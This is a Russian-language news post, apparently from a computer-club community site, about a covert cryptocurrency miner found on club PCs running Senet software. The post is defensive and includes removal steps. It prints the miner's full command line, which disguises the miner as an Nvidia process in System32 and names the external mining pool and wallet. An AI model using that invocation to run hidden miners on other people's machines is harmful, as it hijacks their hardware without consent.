image

Нелегальный майнер под Senet

Назад

Утро начинается не с кофе, а с обсуждения клубного ПО. А в сегодняшнем случае - с его уязвимостей.

«Коллеги, приветствую. Столкнулись с такой проблемой в оболочке сенет. На компьютерах во всех филиалах появились майнеры от Nvidia. При удалении сенета майнер не запускается. А как накатываем сенет, то сразу появляется. При обращении в ТП сенета, они сразу нашли путь к файлу. Но говорят, что это не их и нужно проверять антивирусом ПК все и добавлять в исключение сенет соответственно. 

При проверке установки файла майнер на ПК за компьютерами никто не сидел, они просто включились и включились. Слышали, что такая проблема когда-то была с оболочкой сенета у других клубов» [c] Семён, представитель казанской сети Press F.

Путь до майнера и кошелёк

"C:\Windows\System32\NvRenderer.exe" -a ethash -o stratum+tcp://eth.2miners.com:2020 -u 0xe4092614Ad72BED8ffdAC5989907F2B1c73bDA1E -w a48b17a1f59018f3e8c0b722b95140ce --temperature-limit 83 --temperature-start 65 --pl -20 -q --mclock +300 --api-bind-http 0 --no-watchdog.

Майнер написан специально под Senet и маскируется под процессы Nvidia, поэтому неопытному глазу будет сложно сразу его обнаружить и ещё сложнее - удалить. Если вы нашли у себя похожие симптомы, вот небольшая инструкция от Артёма, владельца клуба Cyberline:

#1 Откройте Пуск -> Выполнить -> services.msc

#2 Найдите там сервис «Service for NVIDIA Container service» или «NVIDIA Display Renderer» (название будет примерно такое)

#3 Выключите его, удалите майнер.

В целом, по ситуации с майнерами для Сенета существует 2 мнения: кто-то, помятуя о прошлых скандалах, считает, что майнят сами разработчики софта для компьютерных клубов. Другие думают, что используются лишь его уязвимости.

Как бы то ни было, старайтесь регулярно проверять своё оборудование на наличие сторонних майнеров. А если заметите несанкционированные попытки установки со стороны гостей, вызывайте участкового и оформляйте нарушение. За такие дела обязательно нужно наказывать!

Присоединяйтесь!

💬 Наш полезный чат - https://vk.cc/c5Rrcb

🤝 Группа Вконтакте - vk.com/langameru

📰 Телеграм-канал - t.me/langameru

Нет комментариев

    Успешно!

    success
    Готово!
    Вы успешно подписались на рассылку, пожалуйста проверьте почту!
    Экспресс - отчёт об ошибке
    Используйте форму обратной связи, если хотите указать контактную информацию и получить ответ.
    Подписаться на рассылку
    Привет! Ты выбираешь место, где поиграть, или работаешь в компьютерном клубе?
    Игрок
    Оставь свою почту и получай информацю об акциях, розыгрышах и других интересных предложениях от клубов!
    Представитель клуба
    Подпишись на нашу рассылку, и будь в курсе обновлений сервиса, выгодных предложений от брендов и другой полезной информации!

    Помогите нам найти вас: разрешите сайту определять местоположение в настройках браузера!